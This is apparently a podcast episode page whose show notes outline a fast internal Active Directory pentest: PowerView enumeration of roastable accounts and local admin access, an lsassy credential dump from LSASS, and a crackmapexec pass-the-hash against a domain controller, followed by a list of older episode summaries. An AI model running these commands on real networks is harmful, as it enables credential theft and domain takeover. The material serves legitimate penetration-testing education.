7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:

  • Get a cmd.exe spun up in the context of your AD user account:
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"

Then get some important info in PowerView:

  • Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!

  • Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!

  • Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!

Once you know where you have local admin access, lsassy is your friend:

  • lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server

Did you get an admin's NTLM hash from this dump? Then do this:

  • crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED

(Pwn3d!) FTW!

Avsnitt(683)

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

Did you know that Web site vulnerability scanners can destroy your customer sites? If not, listen to this. 7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

28 Feb 20157min

7MS #42: Vulnerability Scans vs. Pentests (audio)

7MS #42: Vulnerability Scans vs. Pentests (audio)

I think everybody throws around the terms “vulnerability scans” and “pentests” and they mean completely different things from one person to the next. In this episode I try to clarify the differences and distinctions (in my mind, anyways). 7MS #42: Vulnerability Scans vs. Pentests (audio)

14 Feb 20157min

7MS #41: OSCP – Part 7 (audio)

7MS #41: OSCP – Part 7 (audio)

Tried of talking about OSCP yet? Me neither! 7MS #41: OSCP – Part 7 (audio)

6 Feb 20156min

7MS #40: OSCP – Part 6 (audio)

7MS #40: OSCP – Part 6 (audio)

PART SIX of a mind-bending series all about OSCP! 7MS #40: OSCP – Part 6 (audio)

31 Jan 20157min

7MS #39: Infosec on the Disney Boat (audio)

7MS #39: Infosec on the Disney Boat (audio)

I took a Disney cruise with my family recently, and one particular aspect of the trip gave me the Big Brother heebie-jeebies. 7MS #39: Infosec on the Disney Boat (audio)

24 Jan 20158min

7MS #38: OFFTOPIC – Health and Infosec (audio)

7MS #38: OFFTOPIC – Health and Infosec (audio)

Every once in a while I thought it would be fun to go slightly off topic and talk about other stuff I’m interested in. This episode kind of has a tech twist though. I talk about how I use my iPhone and a few apps to stay at least a little bit in shape. 7MS…

17 Jan 20157min

7MS #37: Keimpx (audio)

7MS #37: Keimpx (audio)

Ever wanted to pass hashes a whole network at a time? Check out this episode, where I talk about one of my fav new tools called Keipmx. 7MS #37: Keimpx (audio)

10 Jan 20157min

7MS #36: OSCP – Part 5 (audio)

7MS #36: OSCP – Part 5 (audio)

More talk about OSCP goodness. Download: 7MS #36: OSCP – Part 5 (audio)

3 Jan 20157min

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